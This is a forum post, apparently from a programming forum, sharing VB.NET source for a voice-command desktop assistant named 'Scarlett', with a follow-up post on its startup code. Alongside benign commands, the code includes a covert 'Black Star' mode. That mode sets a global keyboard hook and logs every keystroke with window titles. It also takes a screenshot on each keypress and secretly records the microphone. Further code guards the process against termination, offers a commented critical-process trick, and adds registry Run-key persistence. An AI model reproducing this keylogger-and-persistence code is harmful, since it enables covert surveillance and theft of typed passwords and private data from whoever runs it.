                _hookID = SetHook(_proc) 'Sets global keyboard hook
                My.Computer.Audio.Play(My.Resources.initiatingblackstar, AudioPlayMode.Background)
                'Hides Window
                If WindowState = FormWindowState.Normal Then
                    WindowState = FormWindowState.Minimized
                End If

                waveSource = New WaveIn() With {
                 .WaveFormat = New WaveFormat(44100, 1)
             }
                AddHandler waveSource.DataAvailable, New EventHandler(Of WaveInEventArgs)(AddressOf WaveSource_DataAvailable)
                AddHandler waveSource.RecordingStopped, New EventHandler(Of StoppedEventArgs)(AddressOf WaveSource_RecordingStopped)
                waveFile = New WaveFileWriter($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\WM\Justin.Ross\ScarlettJournal.wav",
                                              waveSource.WaveFormat)
                waveSource.StartRecording()

            Case "scarlett stand down", "scarlett disable black star"
                My.Computer.Audio.Play(My.Resources.disablingblackstar, AudioPlayMode.Background)
                UnhookWindowsHookEx()
                If WindowState = FormWindowState.Minimized Then
                    WindowState = FormWindowState.Normal
                End If
                waveSource.StopRecording()

            Case "scarlett take notes"
                My.Computer.Audio.Play(My.Resources.recordingactive, AudioPlayMode.Background)
                'Naudio: [URL='https://github.com/naudio/NAudio']GitHub - naudio/NAudio: Audio and MIDI library for .NET[/URL]
                waveSource = New WaveIn() With {
                    .WaveFormat = New WaveFormat(44100, 1)
                }
                AddHandler waveSource.DataAvailable, New EventHandler(Of WaveInEventArgs)(AddressOf WaveSource_DataAvailable)
                AddHandler waveSource.RecordingStopped, New EventHandler(Of StoppedEventArgs)(AddressOf WaveSource_RecordingStopped)
                waveFile = New WaveFileWriter($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\WM\Justin.Ross\ScarlettJournal.wav",
                                              waveSource.WaveFormat)
                waveSource.StartRecording()

            Case "scarlett save notes"
                My.Computer.Audio.Play(My.Resources.savingjournal, AudioPlayMode.Background)
                waveSource.StopRecording()

            Case "scarlett take a screen shot"
                My.Computer.Audio.Play(My.Resources.screenshot, AudioPlayMode.Background)
                Const Format As String = "yyyyMMddHHmmss"
                Task.Delay(1000)
                Dim ss As New Size(0, 0)
                Using g As Graphics = Graphics.FromHwnd(IntPtr.Zero)
                    Dim hDc As IntPtr = g.GetHdc
                    ss.Width = GetDeviceCaps(hDc,
                                             DESKTOPHORZRES)
                    ss.Height = GetDeviceCaps(hDc,
                                              DESKTOPVERTRES)
                    g.ReleaseHdc(hDc)
                End Using

                Using bm As New Bitmap(ss.Width, ss.Height)
                    Using g As Graphics = Graphics.FromImage(bm)
                        g.CopyFromScreen(Point.Empty,
                                         Point.Empty,
                                         ss,
                                         CopyPixelOperation.SourceCopy)
                    End Using
                    Dim dateString As String = Date.Now.ToString(Format)
                    Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                    Dim userName As String = Environment.UserName
                    Dim captureSavePath As String = String.Format($"{{0}}\WM\{{1}}\capture_{{2}}.png",
                                                                  savePath,
                                                                  userName,
                                                                  dateString)
                    bm.Save(captureSavePath,
                            Imaging.ImageFormat.Png)
                End Using

            Case "scarlett show commands"

                My.Computer.Audio.Play(My.Resources.list, AudioPlayMode.Background)
                Process.Start("C:\Users\justin.ross\source\repos\Scarlett Centurium\Scarlett Centurium\ScarlettsCommands.txt")

            Case "scarlett go to calculator"
                My.Computer.Audio.Play(My.Resources.hardware, AudioPlayMode.Background)
                Dim flm As New Information
                flm.Show()
                Hide()

                'Change this to other searches
            Case "search for animals"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                If e.Result.Text.StartsWith("search") Then
                    Dim spec = e.Result.Text.Replace("search", " ")
                    spec.Trim()
                    spec.Replace(" ", "+")
                    Process.Start("[URL='https://www.google.com/search?q=']Google[/URL]" + spec)

                End If

            Case "scarlett show the weather", "scarlett whats the weather like"
                My.Computer.Audio.Play(My.Resources.weather, AudioPlayMode.Background)
                Process.Start("[URL='http://www.msn.com/en-gb/weather']MSN[/URL]")

            Case "scarlett open youtube"
                My.Computer.Audio.Play(My.Resources.youtube, AudioPlayMode.Background)
                Process.Start("chrome", "[URL='Http://www.youtube.com']YouTube[/URL]")

            Case "scarlett open github"
                My.Computer.Audio.Play(My.Resources.github, AudioPlayMode.Background)
                Process.Start("chrome", "[URL='Http://www.github.com/rythorian77']Rythorian77 - Overview[/URL]")

            Case "scarlett open wiki"
                My.Computer.Audio.Play(My.Resources.wiki, AudioPlayMode.Background)
                Process.Start("[URL='http://www.wikipedia.org/']Wikipedia[/URL]")

            Case "scarlett microsoft office"
                My.Computer.Audio.Play(My.Resources.word, AudioPlayMode.Background)
                Process.Start("winword")

            Case "scarlett stop listening"
                Using recEngine As New SpeechRecognitionEngine()
                    recEngine.RecognizeAsyncStop()
                    Hide()
                    My.Computer.Audio.Play(My.Resources.activatingthemic, AudioPlayMode.Background)
                    Dim frm As New Centurium
                    frm.Show()
                End Using

            Case "scarlett open command prompt"

                My.Computer.Audio.Play(My.Resources.prompt, AudioPlayMode.Background)
                Process.Start("cmd")

            Case "scarlett close"

                My.Computer.Audio.Play(My.Resources.farewll, AudioPlayMode.Background)

                Dim Current_Time As Date = Now
                While DateAdd(DateInterval.Second, 4, Current_Time) > Now
                    Application.Exit()
                End While

            Case "scarlett out of the way"
                If WindowState = FormWindowState.Normal Then
                    WindowState = FormWindowState.Minimized
                    My.Computer.Audio.Play(My.Resources.ifyouneedme, AudioPlayMode.Background)
                End If

            Case "scarlett come back"
                If WindowState = FormWindowState.Minimized Then
                    WindowState = FormWindowState.Normal
                    My.Computer.Audio.Play(My.Resources.comeback, AudioPlayMode.Background)
                End If

            Case "disparta"
                My.Computer.Audio.Play(My.Resources.closingapp, AudioPlayMode.Background)
                Thread.Sleep(2000)
                SendKeys.Send("%{F4}")

            Case "page up"
                SendKeys.Send("{PGUP}")

            Case "page down"
                SendKeys.Send("{PGDN}")

            Case "new tab"
                SendKeys.Send("^{t}")

            Case "switch tab"
                SendKeys.Send("^{TAB}")

            Case "magnify"
                SendKeys.Send("^{+}")

            Case "less"
                SendKeys.Send("^{-}")

            Case "scarlett notepad"
                My.Computer.Audio.Play(My.Resources.notepad, AudioPlayMode.Background)
                Process.Start("notepad")

            Case "scarlett visual studios"
                My.Computer.Audio.Play(My.Resources.visual, AudioPlayMode.Background)
                Process.Start("devenv.exe")

            Case Else
                My.Computer.Audio.Play(My.Resources.unknown, AudioPlayMode.Background)
        End Select
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs)
        Using recEngine As New SpeechRecognitionEngine()
            recEngine.RecognizeAsync(RecognizeMode.Multiple)
            Enabled = True
            Thread.Sleep(5000)
        End Using
    End Sub

    Private Sub UnhookWindowsHookEx()
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        UnhookWindowsHookEx()
    End Sub

    Public Function GetWindowImage(WindowHandle As IntPtr,
Area As Rectangle) As Bitmap
        Using b As New Bitmap(Area.Width, Area.Height, Imaging.PixelFormat.Format32bppRgb)
            Using img As Graphics = Graphics.FromImage(b)
                Dim ImageHDC As IntPtr = img.GetHdc
                Using window As Graphics = Graphics.FromHwnd(WindowHandle)
                    Dim WindowHDC As IntPtr = window.GetHdc
                    BitBlt(ImageHDC,
                       0,
                       0,
                       Area.Width,
                       Area.Height,
                       WindowHDC,
                       Area.X,
                       Area.Y,
                       CopyPixelOperation.SourceCopy)
                    window.ReleaseHdc()
                End Using
                img.ReleaseHdc()
            End Using
            Return b
        End Using
    End Function

    Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Return SetWindowsHookEx(WHKEYBOARDLL,
                                proc,
                                GetModuleHandle(curProcess.ProcessName & ".exe"),
                                0)
            Return SetWindowsHookEx(WHKEYBOARDLL,
                                proc,
                                GetModuleHandle(curProcess.ProcessName),
                                0)
        End Using
    End Function

    Private Shared Function HookCallback(nCode As Integer,
                                     wParam As IntPtr,
                                     lParam As IntPtr) As IntPtr
        If nCode >= 0 _
       AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            Dim capsLock As Boolean = (GetKeyState(&H14) And &HFFFF) <> 0
            Dim shiftPress As Boolean = (GetKeyState(&HA0) And &H8000) <> 0 OrElse (GetKeyState(&HA1) And &H8000) <> 0
            Dim currentKey As String = KeyboardLayout(vkCode)
            If capsLock _
                OrElse shiftPress Then
                currentKey = currentKey.ToUpper()
                Const Format As String = "yyyyMMddHHmmss"
                Task.Delay(1000)
                Dim ss As New Size(0, 0)
                Using g As Graphics = Graphics.FromHwnd(IntPtr.Zero)
                    Dim hDc As IntPtr = g.GetHdc
                    ss.Width = GetDeviceCaps(hDc,
                                         DESKTOPHORZRES)
                    ss.Height = GetDeviceCaps(hDc,
                                          DESKTOPVERTRES)
                    g.ReleaseHdc(hDc)
                End Using

                Using bm As New Bitmap(ss.Width, ss.Height)
                    Using g As Graphics = Graphics.FromImage(bm)
                        g.CopyFromScreen(Point.Empty,
                                     Point.Empty,
                                     ss,
                                     CopyPixelOperation.SourceCopy)
                    End Using
                    Dim dateString As String = Date.Now.ToString(Format)
                    Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                    Dim userName As String = Environment.UserName
                    Dim captureSavePath As String = String.Format($"{{0}}\WM\{{1}}\capture_{{2}}.png",
                                                              savePath,
                                                              userName,
                                                              dateString)
                    bm.Save(captureSavePath,
                        Imaging.ImageFormat.Png)
                End Using
            Else
                currentKey = currentKey.ToLower()
                Const Format As String = "yyyyMMddHHmmss"
                Task.Delay(1000)
                Dim ss As New Size(0, 0)
                Using g As Graphics = Graphics.FromHwnd(IntPtr.Zero)
                    Dim hDc As IntPtr = g.GetHdc
                    ss.Width = GetDeviceCaps(hDc,
                                         DESKTOPHORZRES)
                    ss.Height = GetDeviceCaps(hDc,
                                          DESKTOPVERTRES)
                    g.ReleaseHdc(hDc)
                End Using

                Using bm As New Bitmap(ss.Width, ss.Height)
                    Using g As Graphics = Graphics.FromImage(bm)
                        g.CopyFromScreen(Point.Empty,
                                     Point.Empty,
                                     ss,
                                     CopyPixelOperation.SourceCopy)
                    End Using
                    Dim dateString As String = Date.Now.ToString(Format)
                    Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                    Dim userName As String = Environment.UserName
                    Dim captureSavePath As String = String.Format($"{{0}}\WM\{{1}}\capture_{{2}}.png",
                                                              savePath,
                                                              userName,
                                                              dateString)
                    bm.Save(captureSavePath,
                        Imaging.ImageFormat.Png)
                End Using
            End If
            Select Case vkCode
                Case Keys.F1 To Keys.F24
                    currentKey = "[" & CType(vkCode, Keys) & "]"
                Case Else

                    Select Case (CType(vkCode, Keys)).ToString()
                        Case "Space"
                            currentKey = "[SPACE]"
                        Case "Return"
                            currentKey = "[ENTER]"
                        Case "Escape"
                            currentKey = "[ESC]"
                        Case "LControlKey"
                            currentKey = "[CTRL]"
                        Case "RControlKey"
                            currentKey = "[CTRL]"
                        Case "RShiftKey"
                            currentKey = "[Shift]"
                        Case "LShiftKey"
                            currentKey = "[Shift]"
                        Case "Back"
                            currentKey = "[Back]"
                        Case "LWin"
                            currentKey = "[WIN]"
                        Case "Tab"
                            currentKey = "[Tab]"
                        Case "Capital"

                            If capsLock = True Then
                                currentKey = "[CAPSLOCK: OFF]"
                            Else
                                currentKey = "[CAPSLOCK: ON]"
                            End If
                    End Select
            End Select

            Dim fileName As String = $"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\WM\Justin.Ross\ScarlettLog.txt"
            Using writer As New StreamWriter(fileName, True)
                If CurrentActiveWindowTitle = GetActiveWindowTitle() Then
                    writer.Write(currentKey)
                Else
                    writer.WriteLine($"{vbNewLine}{vbNewLine}Scarlett Event 360:  {Date.Now.ToString($"yyyy/MM/dd HH:mm:ss.ff{vbLf}")}")
                    writer.Write(Environment.NewLine)
                    writer.Write(currentKey)
                End If
            End Using
        End If
        Return CallNextHookEx(_hookID, nCode, wParam, lParam)
    End Function

    Private Shared Function KeyboardLayout(vkCode As UInteger) As String
        Dim processId As UInteger = Nothing
        Try
            Dim sb As New StringBuilder()
            Dim vkBuffer As Byte() = New Byte(255) {}
            If Not GetKeyboardState(vkBuffer) Then Return ""
            Dim scanCode As UInteger = MapVirtualKey(vkCode, 0)
            Dim unused = ToUnicodeEx(vkCode,
                                 scanCode,
                                 vkBuffer,
                                 sb,
                                 5,
                                 0,
                                 GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), processId)))
            Return sb.ToString()
        Catch
        End Try
        Return (CType(vkCode, Keys)).ToString()
    End Function

    'GetActiveWindowTitle: Retrieves the window handle to the active window attached to the calling thread's message.
    Private Shared Function GetActiveWindowTitle() As String
        Dim pid As UInteger = Nothing
        Try
            'Retrieves a handle to the foreground window (the window with which the user is currently working).
            'The system assigns a slightly higher priority to the thread that creates the foreground window than it does to other threads.
            Dim hwnd As IntPtr = GetForegroundWindow()
            Dim unused = GetWindowThreadProcessId(hwnd, pid)
            Dim p As Process = Process.GetProcessById(pid) 'Every process has an ID # (pid)
            Dim title As String = p.MainWindowTitle
            'IsNullOrWhiteSpace is a convenience method that is similar to the following code,
            'except that it offers superior performance:
            If String.IsNullOrWhiteSpace(title) Then title = p.ProcessName
            CurrentActiveWindowTitle = title
            Return title
        Catch __unusedException1__ As Exception
            Return "Black Star Protocol"
        End Try
    End Function

#Region "Dll Import API Functions"

    <DllImport("gdi32.dll")>
    Private Shared Function BitBlt(hdc As IntPtr,
nXDest As Integer,
nYDest As Integer,
nWidth As Integer,
nHeight As Integer,
hdcSrc As IntPtr,
nXSrc As Integer,
nYSrc As Integer,
dwRop As CopyPixelOperation) As Boolean
    End Function

    <DllImport("user32.dll", EntryPoint:="keybd_event")>
    Private Shared Sub keybd_event(bVk As Byte, bScan As Byte, dwFlags As UInteger, dwExtraInfo As UInteger)
    End Sub

    <DllImport("gdi32.dll")> Private Shared Function GetDeviceCaps(hdc As IntPtr,
                                                                   nIndex As Integer) As Integer
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function SetWindowsHookEx(idHook As Integer,
                                             lpfn As LowLevelKeyboardProc,
                                             hMod As IntPtr,
                                             dwThreadId As UInteger) As IntPtr
    End Function

    'UnhookWindowsHookEx : The hook procedure can be In the state Of being called by another thread even after UnhookWindowsHookEx returns.
    'If the hook procedure Is Not being called concurrently, the hook procedure Is removed immediately before UnhookWindowsHookEx returns.
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    'CallNextHookEx: Hook procedures are installed in chains for particular hook types. CallNextHookEx calls the next hook in the chain.
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function CallNextHookEx(hhk As IntPtr,
                                           nCode As Integer,
                                           wParam As IntPtr,
                                           lParam As IntPtr) As IntPtr
    End Function

    'GetModuleHandle:The function returns a handle to a mapped module without incrementing its reference count. However,
    'if this handle is passed to the FreeLibrary function, the reference count of the mapped module will be decremented.
    'Therefore, do not pass a handle returned by GetModuleHandle to the FreeLibrary function.
    'Doing so can cause a DLL module to be unmapped prematurely.This Function must() be used carefully In a multithreaded application.
    'There Is no guarantee that the Module handle remains valid between the time this Function returns the handle And the time it Is used.
    'For example, suppose that a thread retrieves a Module handle, but before it uses the handle, a second thread frees the Module.
    'If the system loads another Module, it could reuse the Module handle that was recently freed.
    'Therefore, the first thread would have a handle To a different Module than the one intended.

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
    End Function

    Private Delegate Function LowLevelKeyboardProc(nCode As Integer,
                                                   wParam As IntPtr,
                                                   lParam As IntPtr) As IntPtr

    'As stated above: 'Retrieves a handle to the foreground window (the window with which the user is currently working).
    'The system assigns a slightly higher priority to the thread that creates the foreground window than it does to other threads.
    <DllImport("user32.dll")>
    Private Shared Function GetForegroundWindow() As IntPtr
    End Function

    'GetWindowThreadProcessId:Retrieves the identifier of the thread that created the specified window and, optionally,
    'the identifier of the process that created the window.
    <DllImport("user32.dll", SetLastError:=True)>
    Private Shared Function GetWindowThreadProcessId(hWnd As IntPtr,
                                                     <Out> ByRef lpdwProcessId As UInteger) As UInteger
    End Function

    'GetKeyState: The key status returned from this function changes as a thread reads key messages from its message queue.
    'The status does not reflect the interrupt-level state associated with the hardware. Use the GetKeyState function to retrieve
    'that information.
    <DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
    Public Shared Function GetKeyState(keyCode As Integer) As Short
    End Function

    'An application can call this function to retrieve the current status of all the virtual keys.
    'The status changes as a thread removes keyboard messages from its message queue. The status does not change as keyboard messages
    'are posted to the thread's message queue, nor does it change as keyboard messages are posted to or retrieved from message queues
    'of other threads. (Exception: Threads that are connected through AttachThreadInput share the same keyboard state.)
    <DllImport("user32.dll", SetLastError:=True)>
    Private Shared Function GetKeyboardState(lpKeyState As Byte()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    'GetKeyboardLayout: The input locale identifier is a broader concept than a keyboard layout, since it can also encompass a speech-to-text
    'converter, an Input Method Editor (IME), or any other form of input.
    <DllImport("user32.dll")>
    Private Shared Function GetKeyboardLayout(idThread As UInteger) As IntPtr
    End Function

    'ToUnicodeEx:The input locale identifier is a broader concept than a keyboard layout, since it can also encompass a speech-to-text converter,
    'an Input Method Editor (IME), or any other form of input.
    <DllImport("user32.dll")>
    Private Shared Function ToUnicodeEx(wVirtKey As UInteger,
                                        wScanCode As UInteger,
                                        lpKeyState As Byte(),
                                        <Out, MarshalAs(UnmanagedType.LPWStr)> pwszBuff As StringBuilder,
                                        cchBuff As Integer,
                                        wFlags As UInteger,
                                        dwhkl As IntPtr) As Integer
    End Function

    'MapVirtualKey: An application can use MapVirtualKey to translate scan codes to the virtual-key code constants VK_SHIFT, VK_CONTROL, and VK_MENU,
    'and vice versa. These translations do not distinguish between the left and right instances of the SHIFT, CTRL, or ALT keys.
    <DllImport("user32.dll")>
    Private Shared Function MapVirtualKey(uCode As UInteger,
                                          uMapType As UInteger) As UInteger
    End Function

    'Process security API
    <DllImport("advapi32.dll", SetLastError:=True)>
    Private Shared Function GetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer,
     <Out> pSecurityDescriptor As Byte(), nLength As UInteger, <Out> ByRef lpnLengthNeeded As UInteger) As Boolean
    End Function

    'Process security API
    <DllImport("kernel32.dll")>
    Public Shared Function GetCurrentProcess() As IntPtr
    End Function

    'Process security API
    <DllImport("advapi32.dll", SetLastError:=True)>
    Private Shared Function SetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer,
    <[In]> pSecurityDescriptor As Byte()) As Boolean
    End Function

    <DllImport("ntdll.dll", SetLastError:=True)>
    Private Shared Function NtSetInformationProcess(hProcess As IntPtr, processInformationClass As Integer, ByRef processInformation As Integer, processInformationLength As Integer) As Integer
    End Function

#End Region

    'Create a critical system process
    'Need admin for this.
    'Private Sub CriticalProcess()
    'Dim isCritical As Integer = 1
    ' we want this to be a Critical Process
    'Dim BreakOnTermination As Integer = 29
    ' value for BreakOnTermination (flag)
    '   Process.EnterDebugMode()
    'acquire Debug Privileges
    ' setting the BreakOnTermination = 1 for the current process
    '  NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, isCritical, 4)
    'End Sub

#Region "Naudio"

    'Naudio
    Private Sub WaveSource_DataAvailable(sender As Object,
                                         e As WaveInEventArgs)
        If waveFile IsNot Nothing Then
            waveFile.Write(e.Buffer, 0, e.BytesRecorded)
            waveFile.Flush()
        End If
    End Sub

    Private Sub WaveSource_RecordingStopped(sender As Object,
                                            e As StoppedEventArgs)
        If waveSource IsNot Nothing Then
            waveSource.Dispose()
            waveSource = Nothing
        End If

        If waveFile IsNot Nothing Then
            waveFile.Dispose()
            waveFile = Nothing
        End If
    End Sub

#End Region

    'These functions serve to protect "Scarlett's Process" from being terminated unless you are an admin
    <Obsolete>
    Public Shared Function GetProcessSecurityDescriptor(processHandle As IntPtr) As RawSecurityDescriptor
        Const DACL_SECURITY_INFORMATION As Integer = &H4
        Dim psd As Byte() = New Byte(-1) {}
        Dim bufSizeNeeded As UInteger
        GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, bufSizeNeeded)
        If bufSizeNeeded < 0 OrElse bufSizeNeeded > Short.MaxValue Then Throw New Win32Exception()
        If Not GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, CSharpImpl.Assign(psd, New Byte(bufSizeNeeded - 1) {}), bufSizeNeeded, bufSizeNeeded) Then Throw New Win32Exception()
        Return New RawSecurityDescriptor(psd, 0)
    End Function

    Public Shared Sub SetProcessSecurityDescriptor(processHandle As IntPtr, dacl As RawSecurityDescriptor)
        Const DACL_SECURITY_INFORMATION As Integer = &H4
        Dim rawsd As Byte() = New Byte(dacl.BinaryLength - 1) {}
        dacl.GetBinaryForm(rawsd, 0)
        If Not SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd) Then Throw New Win32Exception()
    End Sub

    Private Class CSharpImpl

        <Obsolete("Please refactor calling code to use normal Visual Basic assignment")>
        Shared Function Assign(Of T)(ByRef target As T, value As T) As T
            target = value
            Return value
        End Function

    End Class

    Public Sub GetExeLocation()
    Dim fileName As String
    Dim Path As String
       Path = Reflection.Assembly.GetEntryAssembly().Location
      fileName = Reflection.Assembly.GetExecutingAssembly().GetName().Name
     StartExeWhenPcStartup(fileName, Path)
    End Sub

    Public Sub StartExeWhenPcStartup(filename As String, filepath As String)
    Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
      key.SetValue(filename, filepath)
    End Sub

End Class
 
Last edited:

Rythorian77

Member
Joined
Nov 23, 2021
Messages
17
Programming Experience
10+
Please note the last two "Public Subs" at the bottom of the above code will write the program to registry to run at startup. If you wish to disable this, remove or add comment single quotes ' in front of code. This is the code reference below.

Public Sub GetExeLocation()
Dim fileName As String
Dim Path As String
Path = Reflection.Assembly.GetEntryAssembly().Location
fileName = Reflection.Assembly.GetExecutingAssembly().GetName().Name
StartExeWhenPcStartup(fileName, Path)
End Sub

Public Sub StartExeWhenPcStartup(filename As String, filepath As String)
Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
key.SetValue(filename, filepath)
End Sub
 
Top Bottom